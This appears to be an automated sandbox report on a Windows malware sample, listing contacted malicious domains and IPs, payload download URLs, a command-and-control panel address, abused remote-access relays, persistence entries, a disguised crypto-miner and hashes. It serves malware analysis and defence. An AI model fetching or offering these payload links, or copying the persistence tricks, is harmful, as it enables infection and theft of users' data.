http://instance-m858nm-relay.screenconnect.com:443/((instance-m858nm-relay.screenconnect.com	0%	Avira URL Cloud	safe
http://instance-m858nm-relay.screenconnect.com:443/h	0%	Avira URL Cloud	safe
http://instance-m858nm-relay.screenconnect.com:443/	0%	Avira URL Cloud	safe
https://sperviele.work.gd/software1.exe	0%	Avira URL Cloud	safe
http://instance-m858nm-relay.screenconnect.com:443/b?-5	0%	Avira URL Cloud	safe
https://sperviele.work.gd/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
home.twentygr20sb.top	34.141.219.230	true	false	high
server-nixe3db3ede-relay.screenconnect.com	147.75.80.220	true	false	unknown
sperviele.work.gd	185.196.8.237	true	false	unknown
eur-automatically.gl.at.ply.gg	147.185.221.24	true	true	unknown
fahrerscheinonlineholen.de	104.21.12.184	true	false	unknown
httpbin.org	34.226.108.155	true	false	high
instance-m858nm-relay.screenconnect.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.php	false		high
eur-automatically.gl.at.ply.gg	true	Avira URL Cloud: malware	unknown
https://fahrerscheinonlineholen.de/elrata/ZoomUpdateInstallerFull.exe	false	Avira URL Cloud: safe	unknown
https://sperviele.work.gd/software1.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://31.41.244.11/files/unique1/random.exe60ac02b4ded8abeee1fbde719b5059bb029	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exe5l9	skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fahrerscheinonlineholen.de/y#	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://fahrerscheinonlineholen.de/m#	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://wixtoolset.org/news/	rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000448F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2568173128.0000000004323000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr	false		high
http://instance-m858nm-relay.screenconnect.com:443/p--6	ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sperviele.work.gd/software1.exei	skotes.exe, 00000006.00000002.2969394575.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe1aam	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://instance-m858nm-relay.screenconnect.com:443/b?-5	ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exe6	skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exe1	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	software1.exe, 00000007.00000002.2972499104.0000000002621000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001A54000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe60wm	skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exe7d	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sperviele.work.gd/9	skotes.exe, 00000006.00000002.2969394575.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sperviele.work.gd/	skotes.exe, 00000006.00000002.2969394575.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sperviele.work.gd/software1.exe:	skotes.exe, 00000006.00000002.2969394575.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/wizard%s	Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exed	skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/v	rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000448F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2568173128.0000000004323000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr	false		high
http://31.41.244.11/files/unique1/random.exe1r	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://instance-m858nm-relay.screenconnect.com:443/	ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe1~	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpv	skotes.exe, 00000006.00000002.2969394575.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe1m=	skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wixtoolset.org/releases/	rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000448F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2568173128.0000000004323000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://feedback.screenconnect.com/Feedback.axd	ScreenConnect.WindowsClient.exe, 00000014.00000002.2992705579.000000001B982000.00000002.00000001.01000000.00000015.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.2912176476.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xmrig.com/docs/algorithms	Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://usbtor.ru/viewtopic.php?t=798)Z	846a1e1ef7.exe, 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmp	false		high
http://instance-m858nm-relay.screenconnect.com:443/((instance-m858nm-relay.screenconnect.com	ScreenConnect.ClientService.exe, 00000013.00000002.2968597168.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://instance-m858nm-relay.screenconnect.com:443/h	ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpq	skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://instance-m858nm-relay.screenconnect.com:443/f	ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exees/unique1/random.exe	skotes.exe, 00000006.00000003.2912176476.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://instance-m858nm-relay.screenconnect.com:443/d	ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001DAE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001E58000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001DCA000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001BBC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001CA8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001B28000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001C7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.196.8.237	sperviele.work.gd	Switzerland	34888	SIMPLECARRER2IT	false
104.21.12.184	fahrerscheinonlineholen.de	United States	13335	CLOUDFLARENETUS	false
147.185.221.24	eur-automatically.gl.at.ply.gg	United States	12087	SALSGIVERUS	true
147.75.80.220	server-nixe3db3ede-relay.screenconnect.com	Switzerland	54825	PACKETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576331
Start date and time:	2024-12-16 21:00:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@83/107@11/7
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 58% Number of executed functions: 430 Number of non-executed functions: 48
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): dare-curbys.biz, impend-differ.biz, slscr.update.microsoft.com, otelrules.azureedge.net, zinc-sneark.biz, ctldl.windowsupdate.com, covery-mover.biz, formy-spill.biz, fe3cr.delivery.mp.microsoft.com, steamcommunity.com, ocsp.digicert.com, se-blurry.biz, print-vexer.biz, dwell-exclaim.biz, drive-connect.cyou
Execution Graph export aborted for target X91lnt.exe, PID 7264 because it is empty
Execution Graph export aborted for target X91lnt.exe, PID 7920 because it is empty
Execution Graph export aborted for target ZoomUpdateInstallerFull.exe, PID 6336 because it is empty
Execution Graph export aborted for target file.exe, PID 6228 because it is empty
Execution Graph export aborted for target rundll32.exe, PID 1928 because it is empty
Execution Graph export aborted for target skotes.exe, PID 1908 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3152 because there are no executed function
Execution Graph export aborted for target software1.exe, PID 7804 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:02:01	API Interceptor	304695x Sleep call for process: skotes.exe modified
15:02:15	API Interceptor	69x Sleep call for process: software1.exe modified
15:02:38	API Interceptor	1x Sleep call for process: ScreenConnect.ClientService.exe modified
15:02:49	API Interceptor	10x Sleep call for process: powershell.exe modified
20:01:05	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:02:15	Task Scheduler	Run new task: X91lnt path: C:\Users\user\AppData\Roaming\X91lnt.exe
20:02:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run X91lnt C:\Users\user\AppData\Roaming\X91lnt.exe
20:02:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run X91lnt C:\Users\user\AppData\Roaming\X91lnt.exe
20:02:42	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\X91lnt.lnk
20:02:45	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.12.184	#U260e#Ufe0f message 03042023.htm	Get hash	malicious	Unknown	Browse
147.185.221.24	72OWK7wBVH.exe	Get hash	malicious	XWorm	Browse
	aZDwfEKorn.exe	Get hash	malicious	XWorm	Browse
	HdTSntLSMB.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	XWorm	Browse
	NhoqAfkhHL.bat	Get hash	malicious	Unknown	Browse
	a4lIk1Jrla.exe	Get hash	malicious	Njrat, RevengeRAT	Browse
	W6s1vzcRdj.exe	Get hash	malicious	XWorm	Browse
	u7e3vb5dfk.exe	Get hash	malicious	XWorm	Browse
	aOi4JyF92S.exe	Get hash	malicious	XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
httpbin.org	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	34.226.108.155
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	44.196.3.45
	YPgggL1oh7.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	rCKCW2iScd.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	H6Lzd3cP3H.exe	Get hash	malicious	Unknown	Browse	44.196.3.45
	k4c3YnjoBr.exe	Get hash	malicious	Cryptbot	Browse	44.196.3.45
	Z7JB7gZrXF.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	44.196.3.45
	1SzdrH2oTL.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	46pPLyw8sN.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	44.196.3.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	34.226.108.155
home.twentygr20sb.top	YPgggL1oh7.exe	Get hash	malicious	Unknown	Browse	138.124.34.218
	rCKCW2iScd.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	138.124.34.218
	Z7JB7gZrXF.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	138.124.34.218
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	138.124.34.218
	QJOofPzcsq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.192.141
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	141.8.192.141
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	141.8.192.141
	ISstavUP06.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.192.141
	3heg4J3dth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.192.141
	zFM8tKTTAG.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	141.8.192.141
server-nixe3db3ede-relay.screenconnect.com	SSA-taxID-040071.exe	Get hash	malicious	ScreenConnect Tool	Browse	147.75.80.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://e.epiqnotice.com/rd/9z3zu1n9junq1uq42omet550889ecb4s5qiq12930a0_rp22sh2s8gm1or6c5gm6oh5u	Get hash	malicious	Unknown	Browse	104.16.80.73
	https://afg.acemlnb.com/lt.php?x=3TZy~GE3UnGZEpJA-w9HgOSc2K2ji_L0wu1gjqXGIXSh587-zEy.zuJr1Y2iitE~judAXHPHJeTMHaWtOdxFVOFx23MoiND	Get hash	malicious	Unknown	Browse	104.17.203.31
	Yogi Tea Benefits Open Enrollment.eml	Get hash	malicious	HTMLPhisher	Browse	104.17.245.203
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.164.37
	http://inspirafinancial.com	Get hash	malicious	Unknown	Browse	104.18.94.41
	Tbconsulting Company Guidelines Employee Handbook.docx	Get hash	malicious	Unknown	Browse	172.66.0.227
	FINAL000035745873695487KHFKA.pdf	Get hash	malicious	HTMLPhisher	Browse	104.16.117.116
	Remit_Advice_SMKT_84655.htm	Get hash	malicious	HTMLPhisher	Browse	104.21.96.1
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://docsend.com/v/ty7vw/up-date	Get hash	malicious	Unknown	Browse	172.67.182.24
SIMPLECARRER2IT	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
	Ziraat Bankasi Swift Mesaji.dqy.dll	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
	lLNOwu1HG4.js	Get hash	malicious	RHADAMANTHYS	Browse	185.196.8.68
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	185.196.8.239
	stail.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	getlab.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	chutmarao.ps1	Get hash	malicious	RHADAMANTHYS	Browse	185.196.8.68
	RjygH3Vh7O.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.196.8.68
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Wqd6nMOfmG.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.12.184 185.196.8.237
	ME-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse	104.21.12.184 185.196.8.237
	09-FD-94.03.60.175.07.xlsx.exe	Get hash	malicious	GuLoader	Browse	104.21.12.184 185.196.8.237
	TEC-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse	104.21.12.184 185.196.8.237
	ME-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse	104.21.12.184 185.196.8.237
	09-FD-94.03.60.175.07.xlsx.exe	Get hash	malicious	GuLoader	Browse	104.21.12.184 185.196.8.237
	TEC-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse	104.21.12.184 185.196.8.237
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.12.184 185.196.8.237
	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse	104.21.12.184 185.196.8.237
	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.12.184 185.196.8.237

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Client.dll	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse
	dMDImIGmc7.exe	Get hash	malicious	ScreenConnect Tool	Browse
	dMDImIGmc7.exe	Get hash	malicious	ScreenConnect Tool	Browse
	estatement020134230003.exe.virus.exe	Get hash	malicious	ScreenConnect Tool	Browse
	estatement020134230003.exe.virus.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Support.ClientSetup.exe	Get hash	malicious	ScreenConnect Tool	Browse
	f53WqfzzNt.exe	Get hash	malicious	ScreenConnect Tool	Browse
	tiG6Ep202n.exe	Get hash	malicious	ScreenConnect Tool	Browse
	6IqUjK9Koj.exe	Get hash	malicious	ScreenConnect Tool	Browse
	f53WqfzzNt.exe	Get hash	malicious	ScreenConnect Tool	Browse
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse
	dMDImIGmc7.exe	Get hash	malicious	ScreenConnect Tool	Browse
	dMDImIGmc7.exe	Get hash	malicious	ScreenConnect Tool	Browse
	estatement020134230003.exe.virus.exe	Get hash	malicious	ScreenConnect Tool	Browse
	estatement020134230003.exe.virus.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Support.ClientSetup.exe	Get hash	malicious	ScreenConnect Tool	Browse
	f53WqfzzNt.exe	Get hash	malicious	ScreenConnect Tool	Browse
	tiG6Ep202n.exe	Get hash	malicious	ScreenConnect Tool	Browse
	6IqUjK9Koj.exe	Get hash	malicious	ScreenConnect Tool	Browse
	f53WqfzzNt.exe	Get hash	malicious	ScreenConnect Tool	Browse

Created / dropped Files

C:\Config.Msi\62bf7b.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	219732
Entropy (8bit):	6.582971986447342
Encrypted:	false
SSDEEP:	3072:aA9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGT:aAuH2aCGw1ST1wQLdqvT
MD5:	F264F68510E34B53ACA2FDAC27AEE624
SHA1:	D9986997CBB58C578AEF265F430F5CF042007C8C
SHA-256:	D3353A5875A31F8C2BE04768C052CA61FFE858843507FC760555EFD90FEB952A
SHA-512:	0F1A2C2075E1A1B2BF1FA37A0D9A8AE7BF27A7B689C23483153F317289FF7500E8E5EF3FFE71858D20575A01DA7B9FC9FE7FDC7EDF50EF4C2D1AECFFFE2BA563
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Config.Msi\62bf7b.rbs, Author: Joe Security
